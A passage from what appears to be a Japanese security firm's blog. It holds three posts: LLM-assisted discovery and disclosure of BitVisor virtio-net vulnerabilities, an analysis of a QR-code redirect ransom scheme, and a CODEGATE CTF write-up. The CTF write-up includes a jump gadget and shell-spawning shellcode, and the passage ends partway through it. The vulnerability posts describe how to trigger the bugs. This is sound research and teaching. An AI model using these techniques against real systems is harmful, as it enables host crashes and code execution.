Monday, January 26, 2026

社内勉強会をきっかけにハイパーバイザの脆弱性を見つけた話

 リチェルカセキュリティの師尾です。

私は普段の業務でハイパーバイザの研究開発に携わっていますが、攻撃の専門家ではありません。そんな私が「社内の勉強会に参加したついでに、ハイパーバイザの脆弱性を2件発見してCVEを取得することになった」と言うと驚かれるかもしれません。しかし、社内の勉強会を通じて攻撃者の視点を学び、さらに生成AIを活用した調査手法を取り入れたことで、いち開発者としては気づきにくい脆弱性を発見することができました。

この記事では、勉強会での学びと生成AIを組み合わせて、BitVisorという国産ハイパーバイザから脆弱性を発見し、CVE-2025-61553CVE-2025-61554として報告するまでの過程を紹介します。ちなみに、この取り組みで得られた知見は、弊社の生成AIを使った脆弱性診断サービスの強化にも寄与しています。

社内勉強会について

弊社では、有志メンバーが週次で「pwn勉強会」を開催しています。pwnとはセキュリティ競技であるCTF(Capture The Flag)のいちジャンルで、脆弱性の発見・分析・悪用を扱う競技分野です。CTFの世界はプロゲーマーの世界に近く、弊社には日本トップクラスの現役プレイヤーが在籍しています。彼らはHKCERT(香港)、DEF CON(米国)、CODEGATE(韓国)、SAS(タイ)、snakeCTF(イタリア)といった世界中のCTF大会で予選を勝ち抜き、決勝に出場してきた実績を持っています。

この勉強会のメリットは、元々CTFプレイヤーではないメンバーも、トッププレイヤーたちの指導を通じて攻撃ノウハウを学べることです。いわば「プロが促成栽培されている」環境にあり、私のような開発者が攻撃者の視点を学ぶ絶好の機会となっています。

ある週の勉強会では、VM escape(仮想マシンからホストOSへの脱出)をテーマにした演習を行いました。VM escapeでは、ハイパーバイザ上で動くゲストから、ハイパーバイザの脆弱性を利用してホストに脱出し、ゲスト内からホストのシェルを取る、というのが目標になります。題材としてはバグのあるQEMUデバイスが用意されることが多いようです。

動機となった題材

今回ハイパーバイザの脆弱性を実際に見つける強い動機となった問題が一つあります。それはKalmarCTF 2025で出題された「KalmarVM」という問題です。これは、kvmtoolという小さいながらも比較的よく知られたKVMを利用したハイパーバイザの0-dayを使って解くことが想定解のVM escapeの問題です。

kvmtoolでは、エミュレートするデバイスがほぼすべてVirtIOで実装されています。VirtIOは準仮想化デバイスの標準規格で、PCIなどのバスを通してホストとゲストがデータをやりとりしてデバイスとして動作するように作られています。VirtIOはQEMUやFirecracker, crosvm, Cloud Hypervisorなどのモダンなハイパーバイザのほとんどで実装されています。これは、VirtIOの規格がエミュレータを実装しやすく、パフォーマンスが出やすいように都合よく作られており、かつLinuxなどのOSのサポートも充実しているためです。

この問題では、kvmtoolのVirtIO MMIO handlerの実装にOut-Of-Bounds (OOB) accessのバグがあり、かつvirtio-balloonというVirtIOデバイス実装のメモリレイアウトがそのOOB先の領域として非常に都合が良いということを利用します。利用するバグが提示されているなど、だいぶお膳立てされた状態ではありますが、私も勉強会のなかでexploitを書き、ホストのシェルが取れました。

この問題で印象に残ったこととして、

  1. 比較的有名なハイパーバイザでも未修正の典型的なメモリ由来の脆弱性が存在する
  2. VirtIOというよく知られたデバイスのエミュレータ実装であっても、MMIO handlerというコア部分の実装にバグが存在する

という点がありました。

特に、OOB accessの脆弱性は誰でも作り込んでしまう可能性があり、私が開発しているハイパーバイザでも似たような脆弱性を抱えている可能性もありました。このようなことから、「こうしたVirtIOデバイス実装の脆弱性が、他の実プロダクトでも存在するのではないか」と思うようになりました。

そこで、休日を活用してVirtIOデバイス実装の脆弱性を探すことにしました。

ターゲットの選定

VirtIOデバイスを実装しているプロダクトは数多くありますが、今回はBitVisorを選択しました。これには私が触ったことがありコードベースに慣れているというのもありますが、

  1. 設計思想的にattack surfaceが少なそうなので、脆弱性を見つけるとインパクトがある
  2. KVMを使ったものよりはescapeした先の権限レベルが上位なので違った面白さがありそう

という二つの理由で選びました。

BitVisorは2009年より開発が開始された国産ハイパーバイザで、「ハイパーバイザ自身はほとんど何もしない」という特徴があります。このため、初期の設計思想ではこのようなデバイスエミュレーション起因の脆弱性はほぼなく、attack surfaceが少ないはずです。現在では「ホストの物理NICを隠蔽し、ゲストにはvirtio-netとして見せる」機能があるため、VirtIOデバイス実装が存在します。このような「セキュアであること」を設計思想に据えたハイパーバイザで脆弱性を見つけることができればインパクトが大きいと判断しました。

また、2)は魅力的で、KVMを使ったハイパーバイザは、デバイスエミュレーションがホストユーザ空間で行われているため、デバイス実装の脆弱性を使ってVM escapeしたとしてもホストのカーネル空間まで到達するにはホストカーネルの脆弱性を別途見つけなければなりません。一方、BitVisorではデバイスエミュレーションがホストカーネル空間の単一メモリ空間で行われているため、一度VM escapeできればホストシステム全体に干渉できます。

調査の方針

冒頭で紹介したように、今回の調査ではLLMを活用しました。その動機としては「LLMを利用してツールなしにプロンプトのみを利用してLinux kernelのSMBの脆弱性を見つけることができた」という記事を読んだことです。

この記事では、当時(2025年4月)リリースされたOpenAIのChatGPT o3に対して、脆弱性を見つけるように作り込んだプロンプトとコードを渡し、回答を複数回得るなかで回答の確度を高めていく、というのが主要なアプローチです。

もう一つ重要なポイントとして、Model Context Protocol (MCP) などのツール利用をしていないという点があります。これは、ChatGPTなどのLLMサービスのチャットインターフェースのみを用意できればよい、という大きな利点があります。特に、元の記事にあるような複数のLLMサービスを利用してクロスチェックする場合でも、用意したプロンプトのみを与えるだけで結果が得られるという手軽さがあります。

また、https://arxiv.org/abs/2505.06120の論文にあるように、LLMは複数回やりとりを行うと回答の精度が落ちるという話もあったため、初回のプロンプトで全てのコンテキストを与えるようにしました。

今回は大まかにはこの記事の方針を利用しました。プロンプトを与えるのは初回のみなので、そのプロンプトをいかに作り込むかが重要なポイントとなってきます。

プロンプトは以下の構成となっています。

  1. LLMに与える指示。よくあるプロンプトエンジニアリングの手法を利用しています
  2. 与えられるソースコードの文脈。次に与えられるソースコードが何のソフトウェアの何のコンポーネントのものなのか、それがどのように他のコンポーネントと関係しており、典型的な脆弱性がある場合には、どのような場合があるのか、など人間が持っているドメイン知識を可能な限り与えます
  3. 実際のソースコード。ソースコードは文脈が明らかになるように、一部分ではなく関係するほぼ全てのソースコードを与えます。コードの依存関係からソースファイルは複数になっているので、files-to-promptといった自動でソースコードをLLMが解釈しやすいXML風の記述のプレーンテキスト化するツールを利用します。経験上、こうした「データ構造っぽいもの」をLLMに与える場合、JSONよりもXML風の方がより正しく解釈してくれる可能性が高い気がします

今回作成したプロンプトは1)の指示文についてはSMBの記事のものをベースに改変し、2)は新たに人間が作成しました。こちらはLLMによって事前に作成させることも可能だと思います。

得られた各テキストを統合して一つのプロンプトとします。 https://gist.github.com/retrage/70336b8d276b933563b234cd785f411d に実際に作成したプロンプトを示します。

今回はChatGPT o3 ThinkingとGemini 2.5 Proに複数回このプロンプトを与えたうえでクロスチェックを行いました。

確度の高いバグとトリアージ

広く知られているように、現在のLLMは同じプロンプトに対する回答が毎回異なります。このため一貫しないLLMの返答を比較する必要があります。こうした比較もLLM自体にさせるということもできますが、今回は個人的にどれぐらいの回答のばらつきや精度の違いがあるのかが気になっていたため手動で行うことにしました。

得られた確度の高いバグの指摘は以下の三つでした:

  • do_net_ctrl でのHeap Buffer Overflow
  • queue_size == 0 としたときのゼロ除算
  • VIRTIO_NET_CTRL_MAC_TABLE_SET でのサイズチェック不足によるOOB Read

この他にも複数回出てきた指摘もありますが、偽陽性だったため除外してあります。

これらのバグの検証については、検証環境にBitVisorのvirtio-netがバックエンドとしてサポートしている物理NICが必要だったため、実機を用いて行いました。今回は手元にあった私物のIntel NUC (NUC8i3BEH) を利用しました。なお、virtio-netはオプショナルなためビルド前にコンフィグで有効にして、必要な設定を行ってからビルドしました。

脆弱性の報告とパッチの作成

報告すべきバグが見つかりその妥当性も検証できたところで開発元に報告します。よくある流れとしては、非公開に開発元に報告し、開発元が確認しパッチを作成して脆弱性情報を公開する、というものです。

今回の調査と前後して、有名なOSSで脆弱性報告にまつわる問題が表面化していました。例えば、libxml2のボランティアのメンテナが大量の脆弱性報告の対応に疲弊しこれ以上の脆弱性報告を受け付けないとしたことが一時話題になりました。普段は開発者の立場である私としては、こうした話を念頭に脆弱性報告を行いました。

規模が大きく大企業が資本を投資しているような体力があるOSSの場合は脆弱性報告の窓口が用意されていることが多いですが、BitVisorは開発が活発であるものの、比較的こぢんまりとした開発コミュニティであり、セキュリティの窓口も用意されていない状態です。また、バグとしてもBitVisor全体に大きな影響があるものであれば別ですが、今回のvirtio-netはビルド時に有効化していない限りは影響がないものであり、そこまで重要度が高くないと判断しました。そのため、公開の通常の開発者メーリングリストにセキュリティ窓口についての相談をしてから個別に開発者の方とメールにてやりとりをしました。

メールでは、セキュリティ窓口が用意されていないとのことでしたのでlibxml2での事例を踏まえ、脆弱性の修正パッチは特別扱いせずに、通常のバグ修正と同様に公開の場でパッチを取り込んでもらうことになりました。

こちらとしては開発者の方を煩わせたくなかったため、こちらで作成した修正パッチをバグの説明とともに送付しました。何回かのやりとりと修正ののち、パッチを取り込んでいただきました。

見つかったバグをそれぞれ紹介していきます。VirtIOの仕様などやや込み入った話になるので、読み飛ばしてもらっても構いません。

do_net_ctrl でのHeap Buffer Overflow

LLMからの回答の一つを抜粋して紹介します。

The intended logic:

  1. First loop computes total command length len by summing desc[d].len.
  2. If len <= PAGESIZE, allocate cmd = alloc(len).
  3. Second loop copies each descriptor’s payload into cmd, doing:
if ((copied + desc_len > len) || (last && copied + desc_len != len)) {

printf("... strange ...\n");

}

memcpy(cmd + copied, buf_ring, desc_len);

copied += desc_len;

The problem

The check for inconsistent descriptor lengths only prints a debug message; it does not abort or clamp the copy.

So if any desc_len > len (or sum of them is inconsistent), the code still does:

memcpy(cmd + copied, buf_ring, desc_len);

with cmd having only len bytes allocated.

Because both len and desc_len are 32-bit u32, the attacker can also use integer overflow in the first pass to keep len small while one of the descriptor lengths is huge.

do_net_ctrl では、virtio-netのcontrolqというVirtIO Queueに来たリクエストを処理します。この関数のなかで、ゲストから渡されたVirtIO Descriptorに指定されているゲストメモリ上のデータをホストメモリにコピーします。VirtIO Descriptorを複数同時に渡すことで、ゲストメモリのデータを複数同時に指定できます。この関数では、与えられたVirtIO Descriptorを走査し、全体でコピーするのに必要なバッファサイズをu32の len で計算します。len だけのバッファを確保してから、 各Descriptorについてバッファに memcpy します。ここでの指摘は、 len が Descriptorのサイズ desc_len よりも小さい場合に処理を止めていないために、 len がInteger Overflowした場合に範囲外書き込みが起きるというものです。例えばDescriptorを二つ用意し、1つ目に 0xFFFFF000 、2つ目に 0x200 を与えると len は 0x100 となり 0x100 の大きさのバッファに対して 0xFFFFF000 のデータがコピーされてしまいます。実際、同様のPoCを書いてゲストで実行したところ、ホストのBitVisorを含めてシステムがハングしました。PoCは https://github.com/retrage/advisories/blob/main/CVE-2025-61553/poc.c にあります。この脆弱性は CVE-2025-61553 が採番されました。

こちらの脆弱性は https://sourceforge.net/p/bitvisor/code/ci/48090711ade5910b601d2b0034859a6a890cc82d/ で修正されました。

queue_size == 0 としたときのゼロ除算

次はVirtIO Queueのサイズ操作に関するバグです。LLMからの回答を以下に示します。

All three queue handlers do:

idx_u = used->idx % vnet->queue_size[q]; // q = 0,1,2 depending on queue

Since ccfg_queue_size allows arbitrary data->word (including 0) and there is no constraint tying queue enabling to a non-zero size, a malicious guest can:

  1. Set queue_size[n] = 0.
  2. Set queue_enable[n] = 1.
  3. Notify that queue via queue_notify.

When the corresponding handler (virtio_net_sendvirtio_net_recv, or virtio_net_ctrl) runs, used->idx % vnet->queue_size[n] is a modulo by zero, which is undefined behaviour in C and typically results in a hypervisor crash.

これは CVE-2025-61554 が採番されたものですが、見ての通り非常に簡単なゼロ除算のバグです。該当箇所は以下の通りになっています。

static void
ccfg_queue_size (struct virtio_net *vnet, bool wr, union mem *data,
		 const void *extra_info)
{
	u16 n = vnet->selected_queue;
	if (n >= VIRTIO_N_QUEUES)
		return;
	if (wr) {
		vnet->queue_size[n] = data->word;
		if (vnet->queue_size[n] != VIRTIO_NET_QUEUE_SIZE)
			printf ("virtio_net: queue %u size is %u\n",
				n, vnet->queue_size[n]);
	} else {
		data->word = vnet->queue_size[n];
	}
}

if (vnet->queue_size[n] != VIRTIO_NET_QUEUE_SIZE) でキューのサイズチェックはあるものの、printfするだけで処理が続行されてしまう状態でした。これはLLMの指摘は正しく、実際にPoCを書いてみると確かにゼロ除算が起き、ゲストからホストをハングさせることができました。作成したPoCは https://github.com/retrage/advisories/blob/c20246f93edac1b8ad3c8c5e3e768d02405850c7/CVE-2025-61554/poc.c にあります。

こちらの脆弱性は https://sourceforge.net/p/bitvisor/code/ci/de84887f4418fcd67945b4aa4842e035bce0dfa9として修正がされました。

VIRTIO_NET_CTRL_MAC_TABLE_SET でのサイズチェック不足によるOOB Read

こちらは脆弱性とまでは言えないバグだったためCVE採番申請は行いませんでしたが、少し面白いと思ったので紹介します。

File / function: drivers/net/virtio_net.c :: process_ctrl_mac_cmd()

uni_n_entries   = *(u32 *)&cmd[2];                          // ①
…
multi_n_entries = *(u32 *)&cmd[2 + 4 + uni_table_size];     // ②
…
memcpy (vnet->unicast_filter,  c, uni_table_size);          // ③
memcpy (vnet->multicast_filter, c, multi_table_size);       // ④
  • Only the very first 11 bytes are validated (cmd_size < 11 test).
  • The routine never checks that the calculated offsets2+4+uni_table_size or …+4+multi_table_size are still inside the received buffer.
  • A guest can advertise cmd_size = 11, set uni_n_entries = 16 and multi_n_entries = 16uni_table_size = 96, so the reads/writes in(②-④) access ~180 bytes beyond the cmd heap buffer that was allocated from user-controlled data in do_net_ctrl().
  • Although the destination arrays are large enough, the source read crosses the heap boundary, causing:
    • host crash (SIGSEGV on hardened builds),
    • or sensitive heap data disclosure if the attacker inspects the overwrittenfilter arrays via subsequent control commands.

virtio-netには多くのoptionalな機能があり、controlqというVirtIO Queueにゲストからコマンドを送ることで操作できます。コマンドは以下のフォーマットを持ちます。

struct virtio_net_ctrl { 
        u8 class; 
        u8 command; 
        u8 command-specific-data[]; 
        u8 ack; 
} __attribute__((packed)); 

class と command で送るコマンドの種類を指定し、command-specific-data でコマンド固有のデータを持ちます。 ack はその操作の実行結果をデバイスが書き込むフィールドです。

BitVisorのvirtio-net実装では VIRTIO_NET_CTRL_MAC_TABLE_SET に対応しており、受信するパケットのMACアドレスベースのフィルタリングができます。ゲストのドライバはcontrolqに対して以下の可変長の構造体のデータを持つコマンドを command-specific-data としてフィルタするMACアドレスを指定できます。

struct virtio_net_ctrl_mac { 
        le32 entries; 
        u8 macs[entries][6]; 
} __attribute__((packed));

最初の entries でエントリ数を指定し、 macs でそのエントリ数分のMACアドレスが配置されるような形をしています。送信するコマンドでは、ユニキャストとマルチキャストでそれぞれこの構造体が2つある前提となります。すべてのエントリ数が0の場合コマンド全体のサイズは、

class (1 byte) + command (1 byte) + entries (4 bytes) + entries (4 bytes) + ack (1 byte) = 11 bytes

となり、コマンドのサイズは11 bytes以上でなければなりません。

さて、BitVisorのコードを見るとコマンドの最小サイズの11 bytes以上であることはチェックしています。しかし、 entries で指定された数のMACアドレス分のデータが与えられているかはチェックせずにバッファにコピーしています。前半のユニキャストを最大の16エントリとし、後半のマルチキャストを0とした分のサイズのバッファを与えたうえで、各 entries は 最大の16を指定すると、マルチキャストのMACアドレス分だけOOB Readした結果が vnet->multicast_filter に書き込まれます。BitVisorは単一のメモリ空間を使っているため、OOB Readした部分にはBitVisorが他の用途で利用しているデータが入っています。

幸いなことにvirtio-netには設定したパケットフィルタのMACアドレスをゲストから読み出す方法が用意されていないため、これをゲスト側で読み出してInformation Leakさせることはできませんでしたが、このようなチェック漏れは自身でもやってしまいそうであり、身近に感じたため紹介しました。こちらは https://sourceforge.net/p/bitvisor/code/ci/b58daea983a1f9231845a9b23cf6b5caf50e70ce/ として提案した修正が取り込まれました。

思うこと、得られたもの

LLM自体の性能について

ハイパーバイザやVirtIOについて一般的な知識と理解があるという前提において、十分なコンテキストを与えさえすればLLMが今回のような脆弱性を指摘できるというのは先の記事から考えれば当然のことでした。一方で、現在では改善されていると思いますが、試した2025年5月時点では、テンプレートを渡したうえでLLMにPoCを書かせてもクオリティにばらつきがあり、結局PoCのポン出しは諦めたということがありました。

今回この活動を通して得られた思わぬ収穫として、作成したプロンプトによってLLMの性能を手軽に試すことができるようになったということがあります。自分が検証でき、興味がある分野での現実的なセキュリティレビューのタスクでツールも不要なので、新しいLLMのモデルが出たときにはそのまま与えてみて実用するうえでの性能を試すことができ便利です。

LLMがバグハントでできること、できないこと

今回は初期調査ではLLMを活用したものの、その後の検証では物理的に人が介入して作業する場面が多いという印象でした。特に今回のような実ハードウェアを検証に使う場合、検証環境のセットアップや環境に合わせたビルド、マシンがハングしたときの再起動など現状では人手の介入が必須な場面が数多くありました。もちろんこうした部分もKVM switchとVLMを組み合わせたシステムを構築することで自動化できるとは思います。しかし、少なくとも今回個人で休日に小規模で検証する分には、そうした大掛かりなものを導入するのは選択肢として上がりませんでした。もし資金も時間も人手もあるようなビッグテックが似たようなことを大規模にやれば、ハイパーバイザのようなソフトウェアでも当然自動化は可能だと思います。

AI Slopと脆弱性報告

AIによって生成された低品質なコンテンツのことをAI Slopと言います。脆弱性報告においてもそのような検証がされていない報告がOSSに対して大量になされている現状があります。curlの作者がLLMで生成された低品質な脆弱性報告の対応に疲弊しているという記事を投稿していました。問題となっているのは、LLMを使って脆弱性を見つけること自体ではなく、得られた回答をレビュー検証せずに報告している点にあります。

また、今回特に印象的だったのは、「LLMができること」よりも「現状のLLMには心理的に任せられないこと」が浮き彫りになったことでした。特に報告先の開発者の方とのやりとりという面では、LLMにやりとりをさせるというのは絶対に選択肢としてあり得ないと思いました。今回は報告する前に指摘のされた脆弱性をちゃんと理解し実機で検証した上で報告を行いました。つまりLLMが出してきたレポートを十分に検証せずにそのまま開発者の方に送る、ということは決してできないということです。

LLMは計算リソースさえあればいくらでもスケールしますが、その報告に対応する開発者は人間であり、人間の時間は貴重という非対称性がある以上、「報告者には開発元に届く報告は可能な限り正確で高品質となるよう努力する義務がある」と今回開発者側から報告者側に回ったことで強く感じました。こうした検証を徹底する、というのは脆弱性報告の信頼とエコシステムを維持するためにも必要なことだと思います。

まとめと今後の展望

本記事では、普段開発者としてハイパーバイザ開発に関わっている人間がLLMの力を借りつつ脆弱性の調査と検証報告を行い攻撃者の視点に立ってみる、という個人的な取り組みを紹介しました。この活動を通して、LLMを利用した脆弱性診断において品質と信頼を確保するための知見が得られました。

今回の調査方針である「LLMをツールなしで活用する」という指針を与えてくれた記事の著者Sean Heelanさんが、先日新たな記事を投稿しました。今後の展望について重要な示唆を与える記事なので少し紹介します。

この記事ではQuickJSの0-dayを使ったexploitをLLMに開発させる、という一歩進んだ取り組みを行っています。結果はGPT-5.2が用意したすべてのシナリオでexploitを開発できたとのことでした。著者はこの結果からexploit開発などのoffensive securityの工業化に備えなければならないと結論づけています。

このSean Heelanさんの取り組みではLLMに試行錯誤させるためにデバッガなどのツールを提供していますが、今回私のやり残したこととして、このツールの提供というのが挙げられます。今後の展望としては、そうしたツールを提供したうえで、最新のGPT-5.2などのモデルを用いて検証のサイクルを自動で回すことで新たな知見が得られるかを調査したいと考えています。

個人プロジェクトから組織的な取り組みへ

私の休日プロジェクトと前後して、弊社では生成AIを活用した組織的な脆弱性検出プロジェクトを実施しました。2025年10月の1週間で13件の脆弱性を発見・報告しています。

今回の私の個人的な取り組みで得られた知見──「LLMに適切なコンテキストを与える」「人間による検証を徹底する」「責任ある開示を行う」──は、弊社の脆弱性診断サービスの強化にも寄与しています。

詳細はこちらのプレスリリースをご覧ください。

脆弱性診断をご検討中の方へ

弊社では、AIと人間の専門家を組み合わせた診断サービスを提供しています。お客様側でAI診断ツールを導入しなくてもAI活用のメリットを受けられます。

一緒に働きませんか?

弊社では、このような最先端の技術と実践的なセキュリティ研究を組み合わせた環境で働くメンバーを募集しています。開発者からセキュリティエンジニアへのキャリアチェンジも歓迎です。週次のpwn勉強会では、世界トップレベルのCTFプレイヤーから直接学べます。

Wednesday, September 17, 2025

QRコードを"人質"に取るビジネス ~ ランサムQRコードの脅威 ~

著者:Katanoda, Wada, Sota Sugiyama, Satoki

はじめに

はじめまして。リチェルカセキュリティのKatanoda Takumiです。業務ではWeb脆弱性診断やセキュリティコンサルティングを行っています。

近頃は、QRコード *1 を用いて特定のWebサイトやアプリへユーザーを案内するサービスが広く普及しています。レストランのメニュー閲覧から企業の販促活動まで、私たちの日常生活に深く浸透したQRコードですが、実は思わぬリスクが潜んでいることをご存知でしょうか。

QRコードは、株式会社デンソーウェーブが開発した2次元コードであり、PythonやGoogle Chromeを使って生成できるほか、各種Webサービスでも簡単に作成可能です。一般に、QRコードにはURLが埋め込まれており、そのURLに基づいて目的のWebサイトへ誘導されます。本来は目的のURLを直接埋め込みますが、代わりにリダイレクトするURLを埋め込むことで、後から遷移先を変更することもできます。

本記事では、こうしたリダイレクトを伴うQRコードを悪用した「ランサムQRコード」のリスクについて、実際の事例を交えて解説します。

*1:QRコードは株式会社デンソーウェーブの登録商標です

事例の概要

本記事で取り上げる事例では、QRコードの遷移先を 人質 に取られ、再有効化を条件に料金を請求されるという、ランサムウェアに類似した被害が確認されました。以下に概要を述べます。なお、実際の事例をもとにしていますが、特定を避けるため一般化しています。

弊社と包括的なコンサルティング契約を結ぶA社は、イベント出展に向けてチラシを作成することになりました。作成はデザイナーに外注し、納品物は問題なく受領しています。チラシにはA社公式サイトのURLを埋め込んだQRコードが掲載されており、納品時には正しく遷移することを確認しています。

ところが、すでに印刷されたチラシをイベント主催者に送る段階になって弊社の診断員が改めてQRコードを確認したところ、A社公式サイトではなく以下のようなページが表示されました。


※本画像はイメージで、実際のページとは異なります。

このページには、当該QRコードは現在無効化されており、再有効化には料金の支払いが必要である旨が記載されていました。また、説明文には 時間経過と共に誰でも再取得が可能になる旨 も表示されていました。弊社チームが即座に調査を開始しました。まず、表示されているページのURLを確認したところ、設定していたA社の公式サイトとは全く異なるドメインを指していることが判明しました。 また、念のためA社の公式サイトを検査しましたが、脆弱性や改ざんは確認されませんでした。後述の調査の結果、QRコードに問題があることが判明し、A社は急遽チラシを修正・再印刷する運びとなりました。

当該QRコードは、納品時には正しく動作しており、また静的な情報(URL)を埋め込んだものであるため、通常であれば後から改変されることはありません。それにもかかわらず、なぜこのような 乗っ取り の被害が発生したのでしょうか。本件の原因や攻撃の手法、背景にある仕組みについて、弊社診断員が詳細な調査を実施しました。

原因の調査

 

1.原因の分析

本件は「チラシのQRコードを読み取るとA社公式サイトではないページが表示される」という事象であり、その一次分析として考えられる原因は以下の2点に集約されます。

  1. QRコードに埋め込まれているURLがA社公式サイトと異なる

    埋め込まれたURLを確認したところ、A社公式ドメインではなく第三者のドメインを指していたことがわかりました。

  2. 複数のURLに解釈されうる細工されたQRコードが使用された

    QRコードの仕様上、条件次第で異なるURLに解釈させる攻撃手法「気まぐれなQRコード」やQRコード内部に別のQRコードを入れ子にした攻撃手法も存在しますが、本件では意図的に加工された形跡は確認できませんでした。

    参考:https://news.yahoo.co.jp/expert/articles/c9457520e065bc619c99d05570b13929f6c95a9a

ここまでの一次分析を踏まえ、なぜ第三者のドメインを指すQRコードがチラシに掲載されたのかを把握するため、A社にヒアリングを実施しました。その結果、A社が外注したデザイナーが利用したWebサービスに原因がある可能性を見出し、追加の調査を進めました。

2.利用したQRコード作成サービスの検証

外注先のデザイナーの利用したサービスは、サインアップ後に以下のようなページでQRコードを作成する形となっていました。


※本画像はイメージで、実際のページとは異なります。

実際に、https://ricsec.co.jp/を指定したQRコードを作成して読み取ってみると、正しく遷移するため、一見すると問題はないように見えます。しかし、QRコードに埋め込まれているURLを確認すると、実際にはhttps://[第三者のドメイン]/2CBkkR9となっており、指定したURLとは異なっていることがわかりました。

https://[第三者のドメイン]/2CBkkR9では、JavaScript(CORS経由)で以下のようなJSON(一部省略)を取得し、それを用いてhttps://ricsec.co.jp/へリダイレクトしていました。

{
    "id": 12345678,
    "uid": "2CBkR9",
    "name": "QRcode-0001",
    "data": {
      "url": "https://ricsec.co.jp/",
      "status": true
      "is_expire": false,
    }
}

QRコードを作成したユーザが期待した挙動は以下のシーケンス図になります。

一方、実際のQRコードの挙動は以下の通り複雑怪奇なものとなっていました。

一見するとユーザが後から遷移先を変更できる便利な機能に見えますが、これはサービス運営の匙加減で、QRコードの遷移先を勝手に変更される可能性があることを意味します。事実、本事例では14日間の「お試し期間」が秘密裏に設定されており、それを超過するとQRコードが無効化され、料金請求ページへと遷移させられてしまいます。

3.調査結果および本事例の実態

当該QRコード作成サービスは、読み取り時に特定のサイトを経由してリダイレクトすることで、ユーザが指定したURLに遷移します。そして一定期間が経過すると、このリダイレクト先を料金請求ページに変更し、QRコードの再有効化を条件に支払いを求めるというものでした。

QRコード作成ページにはお試し期間に関する注意表示がなく、本事例のように利用者が気づかずに使用してしまうケースが十分に考えられます。また、QRコードは印刷物に掲載されることが多く、差し替えには多大なコストと時間がかかります。加えて、一定期間は正常に動作するため、配布後に被害が発覚することも想定されます。その場合、回収は困難であり、結果として料金を支払ってしまうユーザも多いのではないでしょうか。

このように、QRコードを 人質 にして料金を要求する手口は、まさに「ランサムQRコード」と呼べる悪質なビジネスモデルです。なお、先述のとおりQRコードに埋め込まれているURLはユーザーが指定したものとは異なりますが、QRコードスキャナによっては読み取ったURLを表示せずに即座に遷移してしまうものもあります。加えて、作成時にはリダイレクトにより一見正しく遷移しているように見えるため、ユーザーがこの仕組みに気づくのは困難です。

被害に遭わないために

先の事例では、QRコード作成サービスの仕様を十分に確認せず、不適切なサービスを利用したことが被害の発生を招きました。そのため、QRコードを作成する際には、信頼できるサービスを利用するほか、Chromeの機能やPythonなどを活用することが推奨されます。

さらに、検収側の対策として、QRコードに埋め込まれた情報を生で表示するツールを使って確認することも求められます。iOSの標準搭載のカメラアプリなどでは確認が難しいため、対応しているリーダーアプリを導入する必要があります。手続きが煩雑となるデメリットもありますが、URLクエリを介した攻撃への対策なども見込めます。

本事例は外注先デザイナーの対応に起因しており、サプライチェーン上のリスクが顕在化したケースでもあります。したがって、自社内部にとどまらない包括的なセキュリティ対策が求められます。

おわりに

本記事では、QRコードの遷移先を 人質 に料金を請求されてしまった事例について、調査の経緯を交えて解説しました。QRコードを利用して特定のサイトへ誘導する仕組みは、今や雑誌や広告だけでなく飲食店などでも広く普及しています。誰でも簡単に作成・利用ができる一方で、一部の悪質なQRコード作成サービスによって、思わぬ被害を受けるリスクがあることに注意が必要です。

リチェルカセキュリティでは、セキュリティの専門家によるコンサルティングサービスを提供しています。本事例のように、セキュリティ診断の枠組みでは捉えきれない脅威や、セキュリティポリシーでは見逃されてしまう脅威への包括的な対応も可能です。

特に、企業内で利用されている外部サービスの網羅的な把握とリスク評価は重要な課題となっています。無料で提供されているサービス、利用規約が曖昧なサービス、データの保管場所が不明なサービスなど、一見無害に見えるサービスでも重大なリスクを内包している可能性があります。弊社では、セキュリティポリシーの包括的改善、セキュリティ組織の立ち上げ支援とともに、こうした外部サービスの棚卸しから管理体制の構築、サービス利用ポリシーの策定まで、トータルでサポートいたします。お気軽にお問い合わせください

Tuesday, December 17, 2024

CODEGATE CTF 2024決勝のWriteup

 著者:ptr-yudai

はじめに

今回のブログ記事では、今年の8月29日と30日に開催されたCODEGATE CTF 2024 Finalsで取り組んだ問題の解説を公開します。 CODEGATEは韓国で最も大きいサイバーセキュリティイベントの1つで、カンファレンスの他にCTFの決勝大会も平行して開催されます。今年の決勝大会にはチームBunkyoWesternsのメンバーとして弊社からarataptr-yudaiの2名が出場しました。1チーム4人までで、我々の他にはchocoruskさんとst98さんが参加してくださいました。

 

例年どおりソウルのCOEX MALLで開催されたCODEGATE CTF

厳しい予選大会を突破した世界20チームのうち、我々BunkyoWesternsは7位の成績を収めました。私はpwn(Binary Exploitation)担当として予選・本戦とも参加しました。 CODEGATEのpwnは例年バイナリのみの配布で、exploitよりも解析パートがメインの問題が多い傾向があります。24時間ずっと会場で取り組み続ける必要があるため、忍耐力が要求されるCTFの1つです。

本大会で私はMisc問題1つとPwn問題3つのフラグを通したので、それらの問題概要と解き方について解説していきます。

 

[misc] super jumper

問題概要

Miscに分類されていましたが、x86-64の問題だったため担当しました。 このプログラムでは、まず任意のELFファイルをある程度自由なファイル名で一時フォルダに作成し、起動することができます。

 

IDAでデコンパイルして変数名をつけたコード

ただし、作成したプログラムはptraceによって停止状態で起動し、そのメモリマップが表示されます。さらに、親プロセス側からどのアドレスを開始位置として実行するかを指定できます。

したがって、任意のコードを実行できそうに見えますが次のチェックがあります。

 

メモリマップを確認するコード
 

 メモリマップのファイル名に”tmp”という文字が含まれている場合は”Invalid address”と表示して実行してくれません。つまり、自由なELFプログラムを起動して、ヒープやスタック等の領域をエントリポイントとして実行できる、という問題設定です。

想定解

私はこの問題を運営の想定解とは異なる方法で解いていたのですが、想定解についても簡単に説明しておきます。 想定解では、ファイル名を自由に決められるという問題設定を利用します。ファイル名は一般的にargv[0]としてプログラムに渡されるので、スタック上に存在します。つまり、スタックが実行可能な(NXが無効な)ELFファイルを作り、ファイル名をシェルコードにしておくことで、スタックの適当な位置を実行するとシェルコードが動きます。

非想定解

libcやld中の機械語に飛ばすことはできるため、今回はlibcのgadgetを使って実行ファイル本体にリダイレクトさせる方針にしました。

0x1a44ed: lea edx,  [0x00000000001A4900] ; add rdx, r8 ; jmp rdx ; (1 found)

このgadgetを使うと、0x1a4900 + r8にジャンプしてくれます。r8レジスタの値は固定だったため、このジャンプ先に機械語がロードされるように実行ファイルをビルドすれば良いです。

section .text
global _start

_start:
  times 0x1000 nop
  xor edx, edx
  push rdx
  lea rdi, [rel arg2]
  push rdi
  lea rdi, [rel arg1]
  push rdi
  lea rdi, [rel arg0]
  push rdi
  mov rsi, rsp
  mov eax, 59
  syscall

  mov eax, 60
  syscall

section .data
arg0: db "/bin/sh", 0
arg1: db "-c", 0
